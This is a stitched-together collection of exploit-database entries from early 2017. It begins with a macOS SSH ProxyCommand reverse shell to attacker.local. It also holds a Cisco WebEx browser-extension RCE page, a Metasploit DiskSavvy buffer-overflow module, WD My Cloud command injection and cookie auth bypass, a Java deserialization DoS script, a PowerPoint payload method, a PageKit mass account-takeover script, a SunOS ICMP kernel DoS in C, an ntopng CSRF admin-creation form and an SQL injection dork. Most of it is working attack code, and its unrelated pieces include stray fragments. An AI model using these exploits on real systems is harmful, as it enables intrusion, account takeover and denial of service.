- `~/.ssh/config`
```
Host p
HostName p
ProxyCommand /bin/bash ~/.ssh/command.sh
```
- `~/.ssh/command.sh`
```
for a in {1..31}; do trap "" $a; done
nohup bash -i >& /dev/tcp/attacker.local/1234 0 &
```
At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/command.sh without any warning. To automatically execute the triggering URL (ssh://p) we can either:
- send the link to the victim via Mail or iMessage
- poison Safari cache adding some javascript that launches the URL
- poison Safari "Application Saved State" so that the URL il launched at browser execuition
- poison "loginitems" to launch the URL at system startup
It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.
## Update
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working.
This fix is mentioned in the Apple Store:
This update fixes an issue where a website could repeately attempt to launch other websites or applications
## Solution
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.
<!--
Cisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software.
The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough.
The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!).
The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code.
Stepping through an initialization, a website must first request that the extension open a port for communication, like this:
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string
Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects.
There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting":
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
I stepped through a meeting and dumped the initialization messages:
> message.message
"{"DocshowVersion": "1.0",
"FilterSecParameters": "clientparam;clientparam_value",
"GpcProductRoot": "WebEx",
"GpcMovingInSubdir": "Wanta",
"GpcProductVersion": "T30_MC",
"GpcUpgradeManagement": "false",
"GpcCompatibleDesktopClients": "",
"enableQuickLaunch": "1",
"GpcProductDescription": "V2ViRXg=",
"GpcUnpackName": "atgpcdec",
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
"jmtclicklog": "1484862376664",
"GpcExtName": "atgpcext",
"GpcUnpackVersion": "27, 17, 2016, 501",
"GpcExtVersion": "3015, 0, 2016, 1117",
"GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self",
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcCompressMethod": "7z",
"GpcActiveIniSection": "V2ViRXhfVg==",
"GpcSupportPageUrl": "",
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==
...
There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me:
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",
If we decode those strings, we get:
GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"
That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL:
$ dumpbin /nologo /exports atmccli.dll
Dump of file atmccli.dll
ordinal hint RVA name
2 2 0001CC11 ExitControl
24 3 0001CC83 FinishCall
1 4 0001D2F9 InitControl <--
23 5 0001D556 NameValue
...
These exports look like the functions being called in that scripting language. Is it possible it's calling those exports?
I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this:
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
Unbelievably, that worked.
Example exploit attached.
I uploaded a demo here for testing (this URL is secret)
https://lock.cmpxchg8b.com/ieXohz9t/
(You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email)
https://www.webex.com/test-meeting.html
-->
<html>
<head>
<title>Cisco WebEx Exploit</title>
<script>
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
function runcode()
{
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
return;
}
if (!document.location.protocol.endsWith("https:")) {
alert("document /must/ be served over https");
return;
}
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
}
</script>
</head>
<body onload="runcode()">
<h1>Running exploit...</h1>
</body>
</html>
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DiskSavvy Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
caused by improper bounds checking of the request path in HTTP GET
requests sent to the built-in web server. This module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan' # Metasploit module
],
'References' =>
[
['EDB', '40869']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20",
'Space' => 500
},
'Targets' =>
[
[
'Automatic Targeting',
{
'auto' => true
}
],
[
'DiskSavvy Enterprise v9.1.14',
{
'Offset' => 542,
'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll]
}
],
[
'DiskSavvy Enterprise v9.3.14',
{
'Offset' => 2478,
'Ret' => 0x101142ff # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Dec 01 2016',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
version = res.body[/Disk Savvy Enterprise v[^<]*/]
if version
vprint_status("Version detected: #{version}")
if version =~ /9\.(1|3)\.14/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
mytarget = target
if target['auto']
mytarget = nil
print_status('Automatically detecting the target...')
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
if res.body =~ /Disk Savvy Enterprise v9\.1\.14/
mytarget = targets[1]
elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/
mytarget = targets[2]
end
end
if !mytarget
fail_with(Failure::NoTarget, 'No matching target')
end
print_status("Selected target: #{mytarget.name}")
end
eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)
sploit = make_nops(10)
sploit << egg
sploit << rand_text_alpha(mytarget['Offset'] - egg.length)
sploit << generate_seh_record(mytarget.ret)
sploit << make_nops(8)
sploit << hunter
sploit << rand_text_alpha(4500)
print_status('Sending malicious request...')
send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end
# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
# Date: 24.01.2017
# Software Link: https://www.wdc.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
1. Description
It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.
It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.
https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
2. Proof of Concept
For RCE simply use as username:
a" || your_command_to_execute || "
For authentication bypass set COOKIES:
username=1; isAdmin=1
and then visit for example php/users.php
'''
Application: Java SE
Vendor: Oracle
Bug: DoS
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
Reference: Oracle CPU Jan 2017
Author: Roman Shalymov
1. ADVISORY INFORMATION
Title: Oracle OpenJDK - Java Serialization DoS
Advisory ID: [ERPSCAN-17-006]
Risk: High
Advisory URL:
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
Date published: 17.01.2017
Vendor contacted: Oracle
2. VULNERABILITY INFORMATION
Class: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-3241
CVSS Base Score: 9.0
3. VULNERABILITY DESCRIPTION
An attacker can cause DoS of the application which uses OpenJDK Runtime
Environment 1.8 as its core runtime engine.
4. VULNERABLE PACKAGES
OpenJDK Runtime Environment build 1.8.0_112-b15
5. SOLUTIONS AND WORKAROUNDS
Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
call in switch statement
Adress Oracle CPU January 2017
6. AUTHOR
Roman Shalymov (@shalymov)
7. TECHNICAL DESCRIPTION
An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.
7.1. Proof of Concept
An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:
'''
#!/usr/bin/env python2
import sys
exp = ""
#serialization header
exp += '\xac\xed\x00\x05'
exp1 = ''
exp1 += '\x72'
exp1 += '\x00\x0c'+'java.io.File'
exp1 += '\x41'*8
exp1 += '\x00'
exp1 += '\x00\x00'
exp += exp1 * 10000
sys.stdout.write(exp)
'''
and save it in exp2.ser file
$ ./pwn_ser2.py > exp2.ser
Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:
Serialize_read.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Serialize_read {
public static void main(String args[]) throws Exception {
if(args.length < 1) {
System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");
System.exit(-1);
}
FileInputStream fin = new FileInputStream(args[0]);
ObjectInputStream oin = new ObjectInputStream(fin);
try {
Object objFromDisk = oin.readObject();
String s = (String)objFromDisk;
System.out.println(s);
System.out.println("Successfully read!");
}catch(Exception e){}
System.exit(0);
}
}
Let's try to read our malicious file (we can also simulate this stuff over
network communication):
$ javac Serialize_read.java
$ java Serialize_read exp2.ser
It causes the following error dump:
Exception in thread "main" java.lang.StackOverflowError
at
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)
at
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)
at
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
...
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
8. REPORT TIMELINE
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
10. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and analysis of
critical enterprise applications. It was acknowledged multiple times by the
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for
discovering more than 400 vulnerabilities in their solutions (200 of them
just in SAP!).
ERPScan researchers are proud of discovering new types of vulnerabilities
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"
nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at 60+
prime international security conferences in 25+ countries across the
continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for
several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP security
researches.
ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters, Yahoo, SC
Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in various
fields of cybersecurity (from web application to ICS/SCADA systems),
gathering their experience to conduct the best SAP security research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial, Retail and other organizations to
secure their mission-critical processes. Named as an aEmerging Vendora in
Security by CRN, listed among aTOP 100 SAP Solution providersa and
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in
discovering and resolving security vulnerabilities. ERPScan consultants
work with SAP SE in Walldorf to assist in improving the security of their
latest solutions.
ERPScanas primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and secure
SAP and Oracle ERP systems and business-critical applications from both
cyberattacks and internal fraud. As a rule, our clients are large
enterprises, Fortune 2000 companies and MSPs, whose requirements are to
actively monitor and manage security of vast SAP and Oracle landscapes on a
global scale.
We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,
to provide threat intelligence services, continuous support and to operate
local offices and partner network spanning 20+ countries around the globe.
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
Phone: 650.798.5255
Twitter: @erpscan
Scoop-it: Business Application Security
'''
# Exploit Title: Microsoft Power Point Java Payload Code Execution
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Demo Video : https://www.youtube.com/watch?v=DOJSUJK7hRo
# Video Tutorial : https://www.youtube.com/watch?v=Li_h-iuXgEM
# Youtube Channel: https://www.youtube.com/user/cutehack3r
# Date: Jan 21, 2017
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.office.com/
# Version: Windows 7 x64 Ultimate Build 7601 Service Pack 1 Without any updates
# Tested on: Windows 7 x64 Ultimate Build 7601 SP1 Without any updates, Power Point 2016 MSO 16.0.4266.1001 64-bit professional plus and Java Version 8 Update 101 (build 1.8.0_101-b13).
Microsoft power point allows users to insert objects of arbitrary file types, at presentation time these objects can be activated by mouse movement or clicking.
If the user have JAVA (or python or similar interpreters) an attacker can insert jar file or py file into the presentation and trigger it when mouse moves, for easier exploitation the attacker can use ppsx file which will load automatically in presentation mode and once the user opens the file and moves mouse it will trigger the payload.
To exploit this issue:
1 - Create a new power point presentation.
2 - Insert object and choose "create from file" and choose the jar payload.
3 - On the insert tab, click action and in both "mouse over" and "mouse click" tabs choose "object action" and choose "activate"
4 - Scale the object to fit the whole slide so when the user opens the file it mouse will be over it, and just in case also if the user clicks it will open the jar file.
5 - Save the file as ppsx file.
POC file that will open a java pop up when executed but any java payload will also work including the meterpreter payloads generated by metasploit.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41144.ppsx
Please note that in a fully patched version a pop up will show asking the user to run the file which is useful if you're good at social engineering ;)
Timeline:
Aug 10, 2016 - Reported To Microsoft
Sep 7, 2016 - Microsoft Said they're unable to have the same behaviour and asked me to update My system and check again.
Sep 8, 2016 - sent to Microsoft to confirm that a pop up shows in case of a fully updated windows 7 version.
Sep 17, 2016 - Microsoft asked for a video showing the bug in both updated and not updated versions, I sent the video in the same day.
Sep 27, 2016 - Microsoft confirmed that the behavior can only produced in a non patched version and considered as not reproducible.
# Exploit Title: Remote PageKit Password Reset Vulnerability
# Date:21-01-2017
# Software Link: http://pagekit.com/
# Exploit Author: Saurabh Banawar from SecureLayer7
# Contact: http://twitter.com/securelayer7
# Website: https://securelayer7.net
# Category: webapps
1. Description
Anyremote user can reset the password by reading the debug log, the exploit
can be successfully executed, if the debug option is enabled in the Pagekit
CMS.
CMS Pentest report can be found here:https://securelayer7.net/
download/pdf/SecureLayer7-Pentest-report-Pagekit-CMS.pdf
2. Proof of Concept
require 'net/http'
#Enter the domain/IP address of the site for which you want to test this vulnerability
vulnerableSite = 'http://127.0.0.1'
loopCount = 0
while loopCount == 0
#We request the Login page which has the debug parameter
url = URI.parse(vulnerableSite + '/pagekit/index.php/user/login')
request = Net::HTTP::Get.new(url.to_s)
resp = Net::HTTP.start(url.host, url.port) {|http|
http.request(request)
}
#The response is received and is sent to many regular expression to find the value of _debug parameter from its HTML source code
bodyOfResponse = resp.body
myArray1 = bodyOfResponse.split(/"current":"/)
outputOfMyArray1 = myArray1[1]
myArray2 = outputOfMyArray1.split(/"};/)
theSecret = myArray2[0]
puts ""
puts "The secret token to debug link is: #{theSecret}"
puts ""
url = URI.parse(vulnerableSite + '/pagekit/index.php/_debugbar/' + theSecret)
request = Net::HTTP::Get.new(url.to_s)
resp = Net::HTTP.start(url.host, url.port) {|http|
http.request(request)
}
resp.body
initial = resp.body
#The count of number of victim users is found out
users = initial.scan(/user=.+?(?=")/)
c = users.count
e = c.to_i
#If the count is 0 then we continuosly monitor it
if c == 0 then puts "Currently no user has clicked on reset password like."
puts ""
puts "Trying again..."
puts ""
puts ""
#If the count is greater than 0 then it means we found a victim. So, find the password reset link and display it in the console
else
link1 = vulnerableSite + "/pagekit/index.php/user/resetpassword/confirm?user="
link2 = "&key="
i = 0
while i<e
securityToken = ''
a = real[i]
b = a.split('=')
c = b[1]
d = c.split('\\')
victimUserName = d[0]
puts "The victim is: #{victimUserName}"
f = b[2]
securityToken = f.scan(/[^\\]/)
securityTokenFiltered = securityToken.join
puts "The security token of victim is: #{securityTokenFiltered}"
puts "Link for account takeover"
puts "#{link1}#{victimUserName}#{link2}#{securityTokenFiltered}"
puts ""
puts ""
i += 1
end
end
# This loop runs forever because we want to continuosly monitor who is requesting a password reset and who has clicked on the link so that
# we can perform mass account takeovers
end
3. Solution:
Update to version 1.0.11
https://github.com/pagekit/pagekit/releases/tag/1.0.11
/*
* SunOS 5.11 Remote ICMP Weakness Kernel DoS Exploit
*
* Todor Donev <todor.donev@gmail.com>
* http://www.ethical-hacker.org/
* https://www.facebook.com/ethicalhackerorg
*
* Disclaimer:
* This or previous programs is for Educational
* purpose ONLY. Do not use it without permission.
* The usual disclaimer applies, especially the
* fact that Todor Donev is not liable for any
* damages caused by direct or indirect use of the
* information or functionality provided by these
* programs. The author or any Internet provider
* bears NO responsibility for content or misuse
* of these programs or any derivatives thereof.
* By using these programs you accept the fact
* that any damage (dataloss, system crash,
* system compromise, etc.) caused by the use
* of these programs is not Todor Donev's
* responsibility.
*
* Use them at your own risk!
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
=20
unsigned char b00m[75] =3D
{
0x45, 0xFF, 0x00, 0x4D, 0x0C,
0x52, 0x00, 0x00, 0x7E, 0x01,
0x0C, 0xF2, 0x85, 0x47, 0x21,
0x07, 0xC0, 0xA8, 0x0E, 0x58,
0x03, 0x01, 0xAE, 0x37, 0x6F,
0x3B, 0x66, 0xA7, 0x60, 0xAA,
0x76, 0xC1, 0xEC, 0xA7, 0x7D,
0xFA, 0x8A, 0x72, 0x8E, 0xC6,
0xE3, 0xD2, 0x64, 0x13, 0xE7,
0x4D, 0xBC, 0x01, 0x40, 0x5B,
0x8E, 0x8B, 0xE5, 0xEE, 0x5E,
0x37, 0xDD, 0xC2, 0x54, 0x8E,
0x8D, 0xCE, 0x0C, 0x42, 0x97,
0xA1, 0x8C, 0x04, 0x8A, 0xC2,=20
0x6B, 0xAE, 0xE9, 0x2E, 0xFE,
} ;
=20
long resolve(char *target){
struct hostent *tgt;
long addr;
=20
tgt =3D gethostbyname(target);
if (tgt =3D=3D NULL)
return(-1);
memcpy(&addr,tgt->h_addr,tgt->h_length);
memcpy(b00m+16,&addr,sizeof(long));
return(addr);
}
int main(int argc, char *argv[]){
struct sockaddr_in dst;
long saddr, daddr;
int s0cket;
printf("[ SunOS 5.11 Remote ICMP Weakness Kernel DoS Exploit\n");
printf("[ Todor Donev <todor.donev@gmail.com> www.ethical-hacker.org\n"=
);
if (argc < 2){
printf("[ Usage: %s <target>\n", *argv);
return(1);
}
daddr =3D resolve(argv[1]);
saddr =3D INADDR_ANY;
memcpy(b00m+16, &daddr, sizeof(long));
dst.sin_addr.s_addr =3D daddr;
dst.sin_family =3D AF_INET;
s0cket =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s0cket =3D=3D -1)
return(1);
printf("[ ICMP Attacking: %s\n", argv[1]);
while(1){
if (sendto(s0cket,&b00m,75,0,(struct sockaddr *)&dst,sizeof(struct sock=
addr_in)) =3D=3D -1){
perror("[ Error");
exit(-1);
}
}
}
[+]#####################################################################################
[+] Credits / Discovery: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
[+] ISR: ApparitionSEC
[+]#####################################################################################
Vendor:
============
www.ntop.org
Product:
====================
ntopng Web Interface
v2.4.160627
ntopng is the next generation version of the original ntop, a network
traffic probe that shows the network usage, similar
to what the popular top Unix command does. ntopng is based on libpcap and
it has been written in a portable way in order to
virtually run on every Unix platform, MacOSX and on Windows as well.
Vulnerability Type:
==================
CSRF Token Bypass
CVE Reference:
================
CVE-2017-5473
Security Issue:
=================
By simply omitting the CSRF token or supplying arbitrary token values will
bypass CSRF protection when making HTTP requests,
to the ntopng web interface. Allowing remote attackers the rights to make
HTTP requests on an authenticated users behalf, if
the user clicks an malicious link or visits an attacker webpage etc.
Exploit/POC:
============
1) Change admin password
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123
2) Add arbitrary
<form action="
http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"
method="GET">
<input type="hidden" name="username" value="hyp3rlinx">
<input type="hidden" name="full_name" value="TheApparitioN">
<input type="hidden" name="password" value="abc123">
<input type="hidden" name="confirm_password" value="abc123">
<input type="hidden" name="host_role" value="administrator">
<input type="hidden" name="allowed_networks" value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface" value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>
Disclosure Timeline:
=====================
Vendor Notification: January 11, 2017
Vendor acknowledgement: January 12, 2017
Vendor Fixed Issue
January 20, 2017 : Public Disclosure
Network Access:
===============
Remote
Impact:
======================
Information Disclosure
Privilege Escalation
Severity:
===========
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) HYP3RLINX -
Apparition
# # # # #
# Exploit Title: B2B Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: https://www.clonescriptsoft.com/
# Software Buy: https://www.clonescriptsoft.com/collections/b2b-alibaba-clone/products/alibaba-clone
# Demo: http://alibaba.clonescriptsoft.com/
# Version: N/A
# Tested on: Win7 x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?IndustryID=[SQL]
